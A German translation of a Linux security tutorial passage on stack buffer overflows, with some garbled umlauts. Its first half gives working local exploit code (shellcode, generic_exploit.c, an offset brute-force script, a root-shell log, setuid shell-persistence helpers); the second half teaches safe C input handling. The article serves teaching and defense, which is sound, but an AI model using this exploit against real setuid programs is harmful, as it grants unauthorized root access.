Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr to en Georges Tarbouriech
en to en Lorne Bailey
en to de Guido Socher
Christophe Blaess ist ein unabh�ngiger Raumfahrtingenieur. Er ist ein Linuxfan und arbeitet die meiste Zeit mit diesem System. Er koordiniert die �bersetzung der Man-pages, die vom Linux Dokumentationsprojekt ver�ffentlicht werden.
Christophe Grenier ist Student im f�nften Semester an der ESIEA, wo er auch als Systemadministrator arbeitet. Er hat eine Leidenschaft f�r Computersicherheit.
Fr�d�ric Raynal benutzt Linux seit vielen Jahren, weil es nicht verseucht ist mit Fetten, frei von k�nstlichen Hormonen und ohne BSE .... es enth�lt nur den Schwei� ehrlicher Leute und einige Tricks.
In unserem vorangegangenen Artikel haben wir eine kleines Programm , ca 50 Bytes gro�, geschrieben das eine Shell startete oder im Fehlerfall abbrach. Nun wird diese Programm in die Applikation, die wir angreifen m�chten, eingef�gt. Das macht man, indem die R�cksprungadresse einer Funktion �berschrieben wird und durch die Adresse des Shellcodes ersetzt wird. Der Stack wird manipuliert, indem Daten �ber die Grenzen einer automatisch allokierten Stack-Variablen hinausgeschrieben werden (Buffer Overflow).
In dem folgenden Programm wird das erste Kommandozeilenargument
in eine Variable, die 500 Bytes lang ist, kopiert. Der Kopiervorgang
erfolgt ohne zu testen, ob die Daten gr��er als 500 Bytes sind.
Wir werden weiter unten sehen, da� man dieses Problem h�tte vermeiden
k�nnen, wenn die Funktion strncpy()
benutzt worden w�re.
/* vulnerable.c */ #include <string.h> int main(int argc, char * argv []) { char buffer [500]; if (argc > 1) strcpy(buffer, argv[1]); return (0); }
buffer
ist eine automatische Variable. Der Speicherplatz von
500 Bytes wird auf dem Stack reserviert, sobald die Funktion main()
aufgerufen wird. Wenn wir das so verletzbare
Programm mit
einem Kommandozeilenargument aufrufen, das l�nger als 500 Zeichen ist,
dann l�uft der Speicherbereich �ber und schreibt ung�ltige Daten in den
Proze�stack. Wie wir zuvor gesehen haben, enth�lt der Stack die
als n�chstes auszuf�hrende Adresse (genannt R�cksprungadresse).
Um dieses Sicherheitsloch auszunutzen, ist es genug die R�cksprungadresse
mit der Adresse unseres Shellcodes zu �berschreiben. Der Shellcode
selbst wird einfach in der Variablen abgelegt.
Die richtige Speicheradresse unseres Shellcodes zu erhalten, ist
etwas trickreich. Wir m�ssen den Offset zwischen dem %esp
Register und dem oberen Ende des Stacks finden. Um eine kleine
Sicherheitszone zu erhalten und unsere Chancen zu verbessern,
f�llen wir den Anfang des �berschriebenen Speicherbereiches
mit der Assembleranweisung NOP
. Es ist eine 1 Byte
Anweisung, die nichts macht. Es wird einfach zur n�chsten Adresse
gesprungen. Wenn wir unsere Startadresse versehentlich
etwas zu weit vorne ansetzen, dann geht die CPU einfach von NOP
zu NOP
, bis unser Shellcode erreicht ist und ausgef�hrt wird.
Um die Treffsicherheit noch weiter zu verbessern setzen wir
unseren Shellcode in die Mitte des �berschriebenen Speicherbereiches.
Vorneweg stellen wir NOP
Anweisungen und das Ende f�llen
wir mit Sprunganweisungen auf, die auf den Anfang des Shellcodes
zeigen. Das Abbildung 1 zeigt das:
Abbildung 2 beschreibt den Zustand des Stacks von
und nach dem Buffer Overflow. All die gespeicherten Register
(abgespeicherter %ebp
, %eip
, Argumente...)
werden mit einer neuen R�cksprungadresse �berschrieben:
Der Anfangsadresse unseres Shellcodes.
|
|
|
|
Es gibt jedoch noch ein weiteres Problem, das mit der Ausrichtung
von Variablen im Stack zusammenh�ngt (variable alignment).
Die Adresse der Variablen ist l�nger als 1 Byte und wird daher
in mehreren Bytes abgespeichert. Damit kann die Ausrichtung
im Speicher unterschiedlich sein. Da unsere CPU 4 Byte Worte
benutzt, kann die Ausrichtung (alignment) 0, 1, 2 oder 3 Bytes sein
(siehe Teil 2 = article 183 �ber
Stackaufbau). In Abbildung 3, entsprechen die
grauen Teile den 4 Bytes der Adresse. Nur im ersten Fall, bei dem
die Variable komplett �berschrieben wird, ist der Angriff erfolgreich.
Die anderen Versuche f�hren zu segmentation violation
oder illegal instruction
Fehlern. Man kann das bei
einem beliebigen Programm nur empirisch herausfinden, aber mit den
heutigen Computern ist diese Art von Tests kein Problem.
Wir werden ein kleines Programm schreiben, das die anzugreifende Applikation startet und einen Buffer Overflow erzeugt. Dieses Programm hat verschiedene Optionen, um den Shellcode im Speicher zu positionieren. Diese Version geht auf Aleph Ones Artikel aus dem phrack Magazine 49 zur�ck und kann von Christophe Greniers Webseite heruntergeladen werden.
Wie schreiben die pr�parierten Daten in die
anzugreifende Applikation?
Normalerweise kann man einen Kommandozeilenparameter wie
den im oben vorgestellten vulnerable.c
Programm oder
eine Umgebungsvariable benutzen. Die Daten k�nnen auch aus
einer Datei gelesen werden.
Das generic_exploit.c
allokiert die richtige Buffergr��e,
kopiert den Shellcode dorthin und f�llt den Rest mit
NOP Anweisungen wie oben erkl�rt. Als n�chstes wird die anzugreifende Applikation
mit execve()
gestartet und ein Buffer Overflow erzeugt.
Das Lauch Programm generic_exploit
braucht die folgenden Parameter:
Gr��e der verletzbaren Variablen (der Wert sollte ein wenig gr��er sein,
um zu erreichen, da� die R�cksprungadresse auch �berschrieben wird).
Au�erdem Memory Offset und Ausrichtung (alignment).
Wir m�ssen weiterhin angeben, ob der Overflow �ber eine Umgebungsvariable
(var
) oder �ber die Kommandozeile (novar
) erfolgt.
Der Parameter force/noforce
entscheidet, ob
die setuid()/setgid()
Funktion aus dem Shellcode
heraus ausgef�hrt oder nicht.
/* generic_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b" "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #define A_BSIZE 1 #define A_OFFSET 2 #define A_ALIGN 3 #define A_VAR 4 #define A_FORCE 5 #define A_PROG2RUN 6 #define A_TARGET 7 #define A_ARG 8 int main(int argc, char *argv[]) { char *buff, *ptr; char **args; long addr; int offset, bsize; int i,j,n; struct stat stat_struct; int align; if(argc < A_ARG) { printf("USAGE: %s bsize offset align (var / novar) (force/noforce) prog2run target param\n", argv[0]); return -1; } if(stat(argv[A_TARGET],&stat_struct)) { printf("\nCannot stat %s\n", argv[A_TARGET]); return 1; } bsize = atoi(argv[A_BSIZE]); offset = atoi(argv[A_OFFSET]); align = atoi(argv[A_ALIGN]); if(!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() + offset; printf("bsize %d, offset %d\n", bsize, offset); printf("Using address: 0lx%lx\n", addr); for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr; for(i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4])); if(strcmp(argv[A_FORCE],"force")==0) { if(S_ISUID&stat_struct.st_mode) { printf("uid %d\n", stat_struct.st_uid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_uid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_uid; } if(stat_struct.st_uid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_uid; } *(ptr++)= 0xb0; /* movb $0x17,%al */ *(ptr++)= 0x17; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } if(S_ISGID&stat_struct.st_mode) { printf("gid %d\n", stat_struct.st_gid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_gid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_gid; } if(stat_struct.st_gid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_gid; } *(ptr++)= 0xb0; /* movb $0x2e,%al */ *(ptr++)= 0x2e; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } } /* Patch shellcode */ n=strlen(argv[A_PROG2RUN]); shellcode[13] = shellcode[23] = n + 5; shellcode[5] = shellcode[20] = n + 1; shellcode[10] = n; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* Copy prog2run */ printf("Shellcode will start %s\n", argv[A_PROG2RUN]); memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN])); buff[bsize - 1] = '\0'; args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3)); j=0; for(i = A_TARGET; i < argc; i++) args[j++] = argv[i]; if(strcmp(argv[A_VAR],"novar")==0) { args[j++]=buff; args[j++]=NULL; return execve(args[0],args,NULL); } else { setenv(argv[A_VAR],buff,1); args[j++]=NULL; return execv(args[0],args); } }
Um unser vulnerable.c
Programm anzugreifen, m�ssen wir
einen Speicherbereich belegen, der gr��er ist als die L�nge der
Variablen im Programm. Wir nehmen 600 Bytes (die Variable ist 500 Bytes lang).
Wir finden den Offset zum Anfang des Stacks �ber einfache Tests.
Die Adresse, die mit der Anweisung addr = get_sp() + offset;
erzeugt wird, wird benutzt, um die R�cksprungadresse zu �berschreiben.
Du wirst den richtigen Wert mit etwas Gl�ck finden.
Die ganze Sache beruht auf der Annahme, da� das %esp
Register sich nicht zu stark zwischen dem am Anfang aufgerufenen und
dem am Ende gestarteten Proze� �ndern wird.
In der Praxis ist nat�rlich nichts wirklich sicher. Verschiedene
Ereignisse k�nnten den Zustand des Stacks von dem Zeitpunkt der
Berechnung bis zum eigentlichen Angriff ver�ndern. Hier haben wir
es geschafft, einen Angriff mit einem Offset von -1900 Bytes zu
starten. Nat�rlich mu�, damit die Sache Sinn macht, unser
vulnerable
Programm ein Set-UID root Programm sein.
$ cc vulnerable.c -o vulnerable $ cc generic_exploit.c -o generic_exploit $ su Password: # chown root.root vulnerable # chmod u+s vulnerable # exit $ ls -l vulnerable -rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable bsize 600, offset -1900 Using address: 0lxbffffe54 Shellcode will start /bin/sh bash# id uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users) bash# exit $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable bsize 600, offset -1900 Using address: 0lxbffffe64 uid 0 Shellcode will start /bin/sh bash# id uid=0(root) gid=100(users) groups=100(users) bash# exitIm ersten Fall (
noforce
) �ndert sich unser UID nicht.
Nichtsdestotrotz haben wir eine neue euid
, die uns
alle Rechte gibt, die wir brauchen. Daher, selbst wenn vi
w�hrend des Editierens der /etc/passwd
sagt "read only",
kann man das Schreiben der �nderungen mit w!
erzwingen :)
Der Parameter force
kann jedoch benutzt werden, um
gleich zu Anfang uid=euid=0
zu haben.
Um automatisch geeignete Offsets Werte zu erhalten, kann man folgendes kleines Shellscript benutzen:
#! /bin/sh # find_exploit.sh BUFFER=600 OFFSET=$BUFFER OFFSET_MAX=2000 while [ $OFFSET -lt $OFFSET_MAX ] ; do echo "Offset = $OFFSET" ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable OFFSET=$(($OFFSET + 4)) doneUnser Angriff hat bisher die m�glichen alignment Probleme nicht ber�cksichtigt . Daher ist es m�glich das dieses Beispiel so bei dir nicht funktioniert. Es gibt jedoch nur 4 M�glichkeiten f�r den alignment Parameter m: 0, 1, 2 oder 3. Einige Systeme lassen nur das Schreiben in ganze Speicherworte zu. Bei Linux gilt diese Einschr�nkung jedoch nicht.
Leider ist die von unserem Shellcode gestartete Shell manchmal nicht nutzbar, da sie sich selbst beendet oder stirbt, sobald man eine Taste dr�ckt. Wir benutzen ein weiteres Programm, um die Privilegien, die wir so m�hsam erworben haben auch zu behalten:
/* set_run_shell.c */ #include <unistd.h> #include <sys/stat.h> int main() { chown ("/tmp/run_shell", geteuid(), getegid()); chmod ("/tmp/run_shell", 06755); return 0; }
Da unser Programm nur eine Aufgabe gleichzeitig ausf�hren kann,
transferrieren wir die Privilegien, die wir mit dem run_shell
Programm erworben haben mit Hilfe des set_run_shell
Programmes.
Damit erhalten wir eine stabile Shell.
/* run_shell.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> int main() { setuid(geteuid()); setgid(getegid()); execl("/tmp/shell","shell","-i",0); exit (0); }Die Option
-i
steht f�r interactive
und
startet eine Shell in der wir etwas eingeben k�nnen.
Warum starten wir nicht immer eine solche Shell? Das s-bit
ist nicht f�r jede Shell verf�gbar. Neuere Versionen �berpr�fen, ob die
uid identisch mit der euid ist und das gleiche gilt f�r die gid
und die egid. bash2
und tcsh
enthalten diesen
Abwehrmechanismus, aber weder bash
, noch ash
haben ihn. Dieser Mechanismus mu� weiter verfeinert werden, wenn
die Platten-Partition, auf der sich run_shell
befindet,
hier /tmp
, mit nosuid
oder noexec
gemountet worden ist.
Bisher haben wir gezeigt, wie man einen Buffer Overflow in einem verletzbaren Programm erzeugt. Jetzt werden wir zeigen, wie man solche Sicherheitsl�cher beim Programmieren vermeiden kann.
Die erste Regel ist, da� man den Index eines Arrays immer �berpr�ft. Eine ungeschickt programmierte Schleife wie :
for (i = 0; i <= n; i ++) { table [i] = ...enth�lt einen Fehler, da das
<=
in der Abfrage statt
<
benutzt wird. Damit wird �ber das Ende des Arrays
hinaus auf den Speicher zugegriffen. Nicht so einfach ist das
bei herunterz�hlenden Schleifen zu sehen.
Abgesehen von dem Trivialfall for(i=0; i<n ; i++)
sollte man seinen Algorithmus immer genau �berpr�fen, speziell, wenn
der Index noch in der Schleife ver�ndert wird.
Das gleiche Problem findet man bei Strings. Bedenke, da� immer ein Byte mehr gebraucht wird f�r das abschlie�ende Nullzeichen. Eines der h�ufigsten Anf�ngerprobleme ist das Vergessen dieses abschlie�enden '\0' Zeichens. So ein Fehler ist au�erdem schwer zu diagnostizieren, da die Ausrichtung vom Compiler abh�ngt und das Programm oft einwandfrei laufen kann.
Untersch�tze Array Index Variablen nicht bez�glich ihres Sicherheitsproblemes. Nur ein Byte zu viel (siehe Phrack Ausgabe 55) ist genug, um ein Sicherheitsloch zu erzeugen.
#define BUFFER_SIZE 128 void foo(void) { char buffer[BUFFER_SIZE+1]; /* end of string */ buffer[BUFFER_SIZE] = '\0'; for (i = 0; i<BUFFER_SIZE; i++) buffer[i] = ... }
strcpy(3)
Funktion
einen String bis sie ein Null Byte findet. Das kann in einigen F�llen
gef�hrlich sein. Der folgende Code enth�lt so ein Sicherheitsloch:
#define LG_IDENT 128 int fonction (const char * name) { char identity [LG_IDENT]; strcpy (identity, name); ... }Funktionen, die die L�nge des kopierten Codes �ber einen Parmameter begrenzen, vermeiden das Problem. Diese Funktionen haben ein `
n
'
in der Mitte ihres Namens. strncpy(3)
ist z.B ein Ersatz f�r
strcpy(3)
, strncat(3)
f�r strcat(3)
und strnlen(3)
f�r strlen(3)
...
Man mu� jedoch vorsichtig sein, da diese Funktionen im Fehlerfall einen sogenannten Eckeneffekt haben. Wenn der Quellstring k�rzer als die Zielvariable ist, dann wird das Null Byte mitkopiert und der String in der Zielvariablen ist sauber terminiert. Das ist nicht der Fall, wenn der String zu lang war. In diesem Fall mu� man das Null Byte zus�tzlich einf�gen. Damit sieht unser Code von oben so aus:
#define LG_IDENT 128 int fonction (const char * name) { char identity [LG_IDENT+1]; strncpy (identity, name, LG_IDENT); identity [LG_IDENT] = '\0'; ... }Das gleiche gilt nat�rlich f�r Funktionen, die Zeichen breiter als 8 Bit ver�ndern, wie z.B
wcscpy(3)
. Hier sollte man
wcsncpy(3)
benutzen und wcsncat(3)
statt
wcscat(3)
. Sicher,
das Programm wird gr��er, aber die Sicherheit verbessert sich auch.
Wie bei strncpy sollte man auch das Null Byte nicht bei
strncat(3)
vergessen. strcat(buffer1, buffer2);
wird immer durch strncat(buffer1,buffer2, sizeof(buffer1)-1);
ersetzt. Damit stimmt die L�nge.
Mit sprintf()
kopiert man formatierte Daten in einen
String. Auch diese Funktion gibt es als 'n'-Funktion: snprintf()
.
Die Funktion gibt die Anzahl der in die Variable geschriebenen Zeichen
zur�ck (ohne das `\0' Zeichen zu z�hlen). Testet man diesen
R�chgabewert, so kann man sehen, ob alles korrekt geschrieben wurde:
if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) { /* Overflow */ ... }
Offensichtlich ist diese Abfrage nichts wert, da der Benutzer schon die Kontrolle �ber den Stack hat. Solch ein Sicherheitsloch in BIND (Berkeley Internet Name Daemon) wurde von vielen Crackern ausgenutzt:
struct hosten *hp; unsigned long address; ... /* copy of an address */ memcpy(&address, hp->h_addr_list[0], hp->h_length); ...Das sollte immer 4 Bytes kopieren, aber wenn man
hp->h_length
�ndert, dann kann man den Stack modifizieren. Entsprechend ist es
zwingend n�tig, die L�nge vorher zu testen:
struct hosten *hp; unsigned long address; ... /* test */ if (hp->h_length > sizeof(address)) return 0; /* copy of an address */ memcpy(&address, hp->h_addr_list[0], hp->h_length); ...In einigen F�llen ist es nicht m�glich, einfach so abzubrechen oder Daten abzuschneiden (host Name URL...). Dann m�ssen die Abfragen fr�her, bei der Eingabe, erfolgen.
Das betrifft vor allem Stringeingaberoutinen.
Niemals sollte man gets(char *array)
benutzen
(Anmerkung des Autors: Diese Funktion sollte durch den Linker
verboten werden!). Eine heimt�ckische Falle liegt in scanf()
:
scanf ("%s", string)Das ist genauso gef�hrlich wie
gets(char *array)
aber es ist nicht so offensichtlich. Die Funktionen aus
der scanf()
Familie haben jedoch einen Mechanismus,
um die L�nge zu kontrollieren:
char buffer[256]; scanf("%255s", buffer);Diese Art der Formatierung limitiert die Anzahl der Zeichen, die in
buffer
kopiert werden, auf 255. Eine Falle besteht jedoch darin,
da� scanf()
Daten, die es nicht annimmt, im Eingabestream
l��t.
C++ hat das gleiche Problem wie die Eingabefunktionen von C.
char buffer[500]; cin>>buffer;Wie man sehen kann, gibt es keine L�ngentests. Wir sind in der gleichen Situation, wie bei
gets(char *array)
.
Die C++ ios::width()
Funktion kann das Problem l�sen, indem sie
die Anzahl der gelesenen Zeichen begrenzt.
Die richtige L�sung f�r unser scanf()
Problem ist,
zuerst die L�nge zu begrenzen und dann die Zeichenkette mit
sscanf()
zu lesen. Das gilt f�r alle Probleme dieser Art.
Wir benutzen also erst fgets(char *array, int size, FILE stream)
und begrenzen damit die L�nge. Als n�chstes formatieren wir
die Daten mit sscanf()
.
Im ersten Schritt kann man sogar noch mehr machen, wie z.B fgets
innerhalb einer Schleife einen ausreichend gro�en Speicherbereich
allokieren zu lassen. Die Gnu Funktion getline()
macht das
bereits f�r dich. Man kann die Daten auch noch validieren mit
Funktionen wie isalnum()
, isprint()
, etc.
Die Funktion strspn()
ist ein guter Filter.
Das Programm wird nur wenig langsamer, ist jedoch vor illegalen Daten
gesch�tzt.
Direkte Dateneingabe ist nicht der einzige Punkt f�r einen Anriff. Es gibt noch Daten, die je nach Programm, �ber das Netzwerk oder aus einer Datei kommen k�nnen. Hier gelten die gleichen Regeln.
Sehr oft benutzen die Buffer Overflow Angriffe etwas anderes:
Umgebungsvariablen. Man darf nicht vergessen das ein Benutzer die
M�glichkeit hat, die Proze�umgebung v�llig zu ver�ndern.
Die Konvention, da� Umgebungsvariablen immer die Form
"NAME=VALUE
" haben, mu� nicht stimmen. Die
Routine getenv()
erfordert einige Vorsicht.
Erst die Ausgabe von getenv()
mit
fgets(char *array, int size, FILE stream)
lesen, validieren, und dann die Daten benutzen!
Filter benutzt man so, da� alles, was nicht explizit erlaubt ist, verboten wird:
#define GOOD "abcdefghijklmnopqrstuvwxyz\ BCDEFGHIJKLMNOPQRSTUVWXYZ\ 1234567890_" char *my_getenv(char *var) { char *data, *ptr /* Getting the data */ data = getenv(var); /* Filtering Rem : obviously the replacement character must be in the list of the allowed ones !!! */ for (ptr = data; *(ptr += strspn(ptr, GOOD));) *ptr = '_'; return data; }
Die Funktion strspn()
macht es uns einfach:
Sie sucht nach dem ersten Zeichen, das nicht in der Kette GOOD enthalten
ist. Zur�ckgegeben wird die L�nge des Strings bis zum nicht erwarteten
Zeichen. Man sollte die Logik niemals umdrehen. Immer gegen einen
Zeichensatz mit den erwarteten Zeichen testen und niemals nur
die gef�hrlichen Zeichen rausl�schen.
Ein Buffer Overflow beruht darauf, da� der Stack �berschrieben wird. Auf dem Stack liegen die automatischen Daten. Eine M�glichkeit das Problem zu verschieben, ist einfach dynamische Variablen zu benutzen, die physikalisch auf der heap liegen. Dazu ersetzt man
#define LG_STRING 128 int fonction (...) { char array [LG_STRING]; ... return (result); }mit :
#define LG_STRING 128 int fonction (...) { char *string = NULL; if ((string = malloc (LG_STRING)) == NULL) return (-1); memset(string,'\0',LG_STRING); [...] free (string); return (result); }Diese Zeilen vergr��ern den Code und bergen das Risiko von Memory Leaks. Aber der Vorteil ist das jetzt beliebige L�ngen zul�ssig sind. Noch ein Wort der Warnung:
alloca()
ist verwandt mit malloc, legt die Daten aber auf den Stack.
Damit entstehen die gleichen Probleme wie bei automatischen Variablen.
Die Initialisierung des Speichers mit memset()
vermeidet
einige Probleme mit nicht initialisierten Variablen. Jedoch
korrigiert es nie ein Buffer Overflow Problem.
Die unter euch, die die malloc L�sung weiter verfolgen wollen,
k�nnen einen Artikel �ber Heap Overflow in w00w00 lesen.
Zum Abschlu� m�chten wir noch sagen, da� es in einigen F�llen m�glich
ist Sicherheitsl�cher tempor�r zu stopfen, indem man einfach ein
static
vor die Variable schreibt. Der Compiler allokiert diese Variablen in einem
Segment, das weit vom Stack entfernt ist. Es wird unm�glich, eine Shell
damit zu starten, aber man kann trotzdem Daten manipulieren oder das Programm
zum Abst�rzen bringen und das wiederum kann f�r einen DoS (Denial of Service)
Angriff n�tzlich sein.
Nat�rlich funktioniert das nicht, wenn eine Funktion rekursiv aufgerufen wird.
Diese "Medizin" sollte man als erste Hilfe betrachten und benutzen bis
eine richtige L�sung vorhanden ist.